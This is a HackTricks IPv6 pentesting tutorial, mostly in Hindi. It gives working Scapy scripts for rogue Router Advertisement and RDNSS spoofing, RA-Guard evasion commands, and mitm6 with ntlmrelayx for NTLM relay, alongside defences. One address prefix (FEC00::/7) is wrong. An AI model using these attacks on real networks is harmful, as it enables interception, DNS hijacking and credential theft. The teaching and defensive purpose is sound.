Pentesting IPv6

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

IPv6 बुनियादी सिद्धांत

नेटवर्क

IPv6 पते नेटवर्क संगठन और डिवाइस इंटरैक्शन को बेहतर बनाने के लिए संरचित होते हैं। एक IPv6 पता निम्न भागों में विभाजित होता है:

  1. नेटवर्क प्रीफिक्स: प्रारंभिक 48 बिट्स, जो नेटवर्क सेगमेंट को निर्धारित करते हैं।
  2. सबनेट ID: इसके बाद के 16 बिट्स, जो नेटवर्क के भीतर विशिष्ट सबनेट्स को परिभाषित करने के लिए उपयोग होते हैं।
  3. इंटरफ़ेस आइडेंटिफ़ायर: अंतिम 64 बिट्स, जो सबनेट के भीतर किसी डिवाइस की अद्वितीय पहचान करते हैं।

IPv6 में IPv4 में पाए जाने वाले ARP प्रोटोकॉल को शामिल नहीं किया गया है, इसके बजाय यह ICMPv6 पेश करता है जिसमें दो प्राथमिक संदेश होते हैं:

  • Neighbor Solicitation (NS): पते के समाधान के लिए मल्टीकास्ट संदेश।
  • Neighbor Advertisement (NA): NS के यूनिकास्ट उत्तर या स्वैच्छिक घोषणाएँ।

IPv6 में कुछ विशेष पता प्रकार भी शामिल हैं:

  • लूपबैक पता (::1): IPv4 के 127.0.0.1 के समतुल्य, होस्ट के भीतर आंतरिक संचार के लिए।
  • लिंक-लोकल पते (FE80::/10): स्थानीय नेटवर्क गतिविधियों के लिए, इंटरनेट रूटिंग के लिए नहीं। एक ही स्थानीय नेटवर्क पर डिवाइस इस रेंज का उपयोग करके एक-दूसरे को खोज सकते हैं।

नेटवर्क कमांड्स में IPv6 का व्यावहारिक उपयोग

IPv6 नेटवर्क के साथ इंटरैक्ट करने के लिए, आप विभिन्न कमांड्स का उपयोग कर सकते हैं:

  • Link-Local पतों पर Ping: स्थानीय डिवाइसों की उपस्थिति की जांच करने के लिए ping6 का उपयोग करें।
  • Neighbor Discovery: लिंक-लेयर पर मिले हुए डिवाइस देखने के लिए ip neigh का उपयोग करें।
  • alive6: एक वैकल्पिक टूल जो एक ही नेटवर्क पर डिवाइस खोजने के लिए उपयोग किया जाता है।

नीचे कुछ कमांड उदाहरण दिए गए हैं:

ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0

IPv6 addresses can be derived from a device’s MAC address for local communication. Here’s a simplified guide on how to derive the Link-local IPv6 address from a known MAC address, and a brief overview of IPv6 address types and methods to discover IPv6 addresses within a network.

यदि दिया गया MAC address 12:34:56:78:9a:bc है, तो आप निम्नलिखित तरीके से Link-local IPv6 पता बना सकते हैं:

  1. MAC को IPv6 फॉर्मेट में बदलें: 1234:5678:9abc
  2. fe80:: जोड़ें और बीच में fffe डालें: fe80::1234:56ff:fe78:9abc
  3. बाएँ से सातवाँ बिट उलट दें, 1234 को 1034 में बदल दें: fe80::1034:56ff:fe78:9abc

IPv6 पता प्रकार

  • Unique Local Address (ULA): स्थानीय संचार के लिए, सार्वजनिक इंटरनेट रूटिंग के लिए नहीं। Prefix: FEC00::/7
  • Multicast Address: एक-से-अनेक संचार के लिए। यह multicast समूह में सभी इंटरफेस को डिलीवर होता है। Prefix: FF00::/8
  • Anycast Address: one-to-nearest संचार के लिए। रूटिंग प्रोटोकॉल के अनुसार सबसे नज़दीकी इंटरफ़ेस को भेजा जाता है। यह 2000::/3 ग्लोबल unicast रेंज का हिस्सा है।

पता प्रीफिक्स

  • fe80::/10: Link-Local addresses (169.254.x.x के समान)
  • fc00::/7: Unique Local-Unicast (निजी IPv4 रेंज जैसे 10.x.x.x, 172.16.x.x, 192.168.x.x के समान)
  • 2000::/3: Global Unicast
  • ff02::1: Multicast All Nodes
  • ff02::2: Multicast Router Nodes

नेटवर्क के भीतर IPv6 पतों का पता लगाना

  1. नेटवर्क के भीतर किसी डिवाइस का MAC address प्राप्त करें।
  2. MAC address से Link-local IPv6 पता निकालें।

तरीका 2: Multicast का उपयोग करके

  1. स्थानीय नेटवर्क पर IPv6 पतों का पता लगाने के लिए multicast address ff02::1 पर ping भेजें।
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table

IPv6 Man-in-the-Middle (MitM) Attacks

IPv6 नेटवर्क में MitM हमले निष्पादित करने के लिए कई तकनीकें मौजूद हैं, जैसे:

  • Spoofing ICMPv6 neighbor or router advertisements.
  • Using ICMPv6 redirect or “Packet Too Big” messages to manipulate routing.
  • Attacking mobile IPv6 (usually requires IPSec to be disabled).
  • Setting up a rogue DHCPv6 server.

Identifying IPv6 Addresses in the eild

Exploring Subdomains

IPv6 पतों से संभावित रूप से जुड़े सबडोमेन खोजने का एक तरीका सर्च इंजनों का उपयोग करना है। उदाहरण के लिए, ipv6.* जैसा क्वेरी पैटर्न प्रभावी हो सकता है। विशेष रूप से, निम्नलिखित सर्च कमांड Google में उपयोग किया जा सकता है:

site:ipv6./

DNS क्वेरीज़ का उपयोग

IPv6 पतों की पहचान के लिए, कुछ DNS रिकॉर्ड प्रकारों को क्वेरी किया जा सकता है:

  • AXFR: पूरे zone transfer का अनुरोध करता है, जो संभावित रूप से कई DNS रिकॉर्ड उजागर कर सकता है।
  • AAAA: सीधे IPv6 पतों की तलाश करता है।
  • ANY: एक व्यापक क्वेरी जो सभी उपलब्ध DNS रिकॉर्ड लौटाती है।

Ping6 के साथ प्रॉबिंग

किसी संगठन से संबंधित IPv6 पतों की पहचान करने के बाद, ping6 utility का उपयोग प्रॉबिंग के लिए किया जा सकता है। यह टूल पहचाने गए IPv6 पतों की प्रतिक्रिया क्षमता का आकलन करने में मदद करता है, और पास के IPv6 डिवाइसों की खोज में भी सहायक हो सकता है।

IPv6 लोकल नेटवर्क अटैक तकनीकें

निम्नलिखित सेक्शन प्रैक्टिकल layer-2 IPv6 हमलों को कवर करते हैं जिन्हें inside the same /64 segment बिना किसी global prefix को जाने हुए भी निष्पादित किया जा सकता है। नीचे दिखाए गए सभी पैकेट link-local हैं और केवल लोकल स्विच के माध्यम से ही यात्रा करते हैं, जिससे वे अधिकांश वातावरणों में बेहद stealthy होते हैं।

एक स्थिर Lab के लिए सिस्टम ट्यूनिंग

IPv6 ट्रैफ़िक के साथ प्रयोग करने से पहले अपने बॉक्स को हार्डेन करना सुझाया जाता है ताकि आप अपनी ही टेस्ट्स से poisoned न हों और massive packet injection/sniffing के दौरान सबसे अच्छा प्रदर्शन मिल सके।

# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

Passive NDP & DHCPv6 Sniffing

क्योंकि हर IPv6 होस्ट स्वतः कई multicast समूहों में जुड़ता है (ff02::1, ff02::2, …) और SLAAC/NDP के लिए ICMPv6 बोलता है, आप पूरे सेगमेंट का मैप बिना एक भी पैकेट भेजे कर सकते हैं। निम्नलिखित Python/Scapy one-liner सबसे दिलचस्प L2 संदेशों को सुनता है और एक रंगीन, टाइमस्टैम्प वाला लॉग प्रिंट करता है कि कौन कौन है:

#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)

परिणाम: कुछ ही सेकंडों में एक पूर्ण link-local topology (MAC ⇄ IPv6), बिना उन IPS/IDS सिस्टम्स को ट्रिगर किए जो active scans पर निर्भर करते हैं।

Router Advertisement (RA) Spoofing

IPv6 hosts डिफ़ॉल्ट-गेटवे खोज के लिए ICMPv6 Router Advertisements पर निर्भर होते हैं। यदि आप नकली RAs को वैध राउटर की तुलना में अधिक बार इंजेक्ट करते हैं, तो डिवाइसेस चुपचाप आपको गेटवे के रूप में चुन लेंगे।

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)

रेस जीतने के बाद वास्तव में forward traffic भेजने के लिए:

sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

राउटर विज्ञापन फ्लैग्स (M/O) और डिफ़ॉल्ट राउटर प्राथमिकता (Prf)

FlagMeaningEffect on Client Behaviour
M (Managed Address Configuration)संकेत देता है कि DHCPv6 के माध्यम से stateful addressing उस सेगमेंट पर उपलब्ध है।यह एक मजबूत संकेत है कि DHCPv6 spoofing काम कर सकता है।
O (Other Configuration)संकेत देता है कि होस्ट्स को अन्य पैरामीटर (DNS, NTP, …) के लिए DHCPv6 का उपयोग करना चाहिए।पता आमतौर पर फिर भी SLAAC से आता है, लेकिन DNS को DHCPv6 के साथ hijacked किया जा सकता है।
M=0 / O=0शुद्ध SLAAC-शैली नेटवर्क।DHCPv6 कभी प्रकट नहीं हो सकता; mitm6 के बजाय rogue RA / RDNSS पर ध्यान दें।
M=1 / O=1मिश्रित वातावरण।DHCPv6 और SLAAC दोनों की जानकारी सह-अस्तित्व में हो सकती है; spoofing surface सबसे बड़ा होता है।

During a pentest आप बस वैध RA को एक बार जाँच कर सकते हैं और तय कर सकते हैं कि कौन सा vector संभव है:

sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements

डम्प में flags [M,O] फ़ील्ड देखें – अनुमान लगाने की आवश्यकता नहीं।

Prf (Router Preference) फ़ील्ड RA header के अंदर नियंत्रित करती है कि जब multiple gateways मौजूद हों तो आपका rogue router कितना आकर्षक दिखेगा:

Prf मानबाइनरीअर्थ
High10क्लाइंट्स इस router को किसी भी Medium/Low router पर प्राथमिकता देते हैं
Medium (default)01लगभग हर वैध डिवाइस द्वारा उपयोग किया जाता है
Low00केवल तब चुना जाता है जब कोई बेहतर router मौजूद न हो

जब Scapy से packet जनरेट कर रहे हों तो आप इसे ऊपर दिखाए अनुसार prf parameter के माध्यम से सेट कर सकते हैं (prf=0x1 → High)। High Prf, एक short interval, और एक non-zero lifetime को मिलाने से आपका rogue gateway काफी स्थिर बन जाता है।


RDNSS (DNS) Spoofing via RA

RFC 8106 RA के अंदर एक Recursive DNS Server (RDNSS) option जोड़ने की अनुमति देता है। यह go-to DNS hijack primitive है जब segment SLAAC-only (M=0 / O=0) हो और क्लाइंट्स DHCPv6 से बात न करें। क्लाइंट समर्थन implementation-dependent होता है, इसलिए लक्ष्य OS को लैब में सत्यापित करें बजाय यह मानने के कि RDNSS हर जगह उपयोग होगा।

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)

वही पैकेट DNSSL विकल्प भी ले जा सकता है ताकि short-name resolution paths को poison किया जा सके उन IPv6-only या dual-stack वातावरणों में जहाँ search domains मायने रखते हैं। अगर आप attack को साफ़-सुथरा रोकते हैं, तो उसी विकल्प के साथ एक revert RA भेजें और lifetime=0 रखें।

RA-Guard का व्यवहारिक इवेशन

RFC 7113 दस्तावेज़ बताता है कि सरल RA-Guard deployments तब क्यों bypass किए जा सकते हैं जब वे पूरा IPv6 हेडर चैन पार्स करने में विफल होते हैं या फ्रैगमेंट्स पर fail open हो जाते हैं। यह कोई नई रिसर्च नहीं है, पर यह अभी भी ऑपरेशनल रूप से महत्वपूर्ण है क्योंकि कई access switches केवल आंशिक filtering लागू करते हैं।

हाल के thc-ipv6 builds इसे सीधे टूलिंग में उजागर करते हैं:

# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64

# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64

# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0

इनका उपयोग केवल यह पुष्टि करने के बाद करें कि एक सामान्य forged RA फ़िल्टर हो रहा है। अगर -H/-D/-F अचानक hosts को आपका rogue router स्वीकार करवा देता है, तो यह सबूत है कि switch केवल fixed IPv6 header से मैच कर रहा है, न कि वास्तविक ICMPv6 RA payload से।

DHCPv6 DNS Spoofing (mitm6)

जब legitimate RA M और/या O advertise करता है, Windows clients आम तौर पर address या ancillary configuration के लिए DHCPv6 requests भेजते हैं। mitm6 उस व्यवहार का दुरुपयोग करके DHCPv6 को reply करता है और आपका link-local IPv6 DNS के रूप में छोटे lease के साथ insert कर देता है। यह सक्षम करता है:

  • NTLM relay attacks (WPAD + DNS hijacking)
  • Intercepting internal name resolution without touching routers
  • Low-noise targeting because you can scope the poisoning to specific hosts or domains

Typical usage:

# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus

# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad

वर्तमान mitm6 बिल्ड्स से उपयोगी विवरण:

  • --no-ra नेटवर्क rogue RAs का पता चलने पर attack को केवल DHCPv6 पर सीमित रखता है।
  • -d/--domain और --host-allowlist poisoning को सीमित रखते हैं, बजाय इसके कि segment पर हर query को hijack किया जाए।
  • --ignore-nofqdn उन clients से आने वाला noise कम करता है जो DHCPv6 FQDN option को omit करते हैं।

यदि segment pure SLAAC (M=0 / O=0) है, तो mitm6 आमतौर पर गलत primitive होता है। rogue RAs / RDNSS का उपयोग करें, और higher-level relay logic को the WPAD/relay page में रखें।

बचाव

  • RA Guard / DHCPv6 Guard / ND Inspection प्रबंधित switches पर।
  • Port ACLs जो केवल legitimate router के MAC को RAs भेजने की अनुमति दें।
  • ऐसे unexpected high-rate RAs या अचानक RDNSS changes के लिए निगरानी रखें।
  • Endpoints पर IPv6 disable करना एक अस्थायी workaround है जो अक्सर आधुनिक सेवाओं को तोड़ देता है और blind spots छिपा देता है – इसके बजाय L2 filtering को प्राथमिकता दें।

NDP Router Discovery on Guest/Public SSIDs and Management Service Exposure

कई consumer routers सभी interfaces पर management daemons (HTTP(S), SSH/Telnet, TR-069, आदि) expose करते हैं। कुछ deployments में “guest/public” SSID को WAN/core से bridge किया जाता है और वह केवल IPv6 पर होता है। भले ही router का IPv6 हर boot पर बदलता हो, आप NDP/ICMPv6 का उपयोग करके इसे भरोसेमंद तरीके से जान सकते हैं और फिर guest SSID से management plane से direct-connect कर सकते हैं।

guest/public SSID से connected एक client का टाइपिकल workflow:

  1. All-Routers multicast ff02::2 पर ICMPv6 Router Solicitation के माध्यम से router को खोजें और Router Advertisement (RA) को capture करें:
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'

# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

RA राउटर का link-local और अक्सर एक global address/prefix प्रकट करता है। यदि केवल link-local पता ज्ञात है, तो याद रखें कि कनेक्शनों में zone index निर्दिष्ट करना जरूरी होता है, जैसे ssh -6 admin@[fe80::1%wlan0]

विकल्प: यदि उपलब्ध हो तो ndisc6 suite का उपयोग करें:

# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
  1. guest SSID से IPv6 के माध्यम से exposed services तक पहुँचें:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
  1. यदि management shell किसी wrapper के माध्यम से packet-capture tooling (उदा., tcpdump) प्रदान करता है, तो argument/filename injection के लिए जांच करें जो अतिरिक्त tcpdump flags जैसे -G/-W/-z पास करने की अनुमति देता है ताकि post-rotate command execution हासिल हो सके। देखें:

Wildcards Spare tricks

रक्षात्मक उपाय/टिप्पणियाँ:

  • management को guest/public ब्रिज से बाइंड न करें; SSID ब्रिज पर IPv6 फ़ायरवॉल लागू करें।
  • जहाँ संभव हो, guest segments पर NDP/RS/RA को rate-limit और फ़िल्टर करें।
  • जिन सेवाओं को पहुँचने योग्य होना आवश्यक है, उन पर authN/MFA और मजबूत rate-limits लागू करें।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें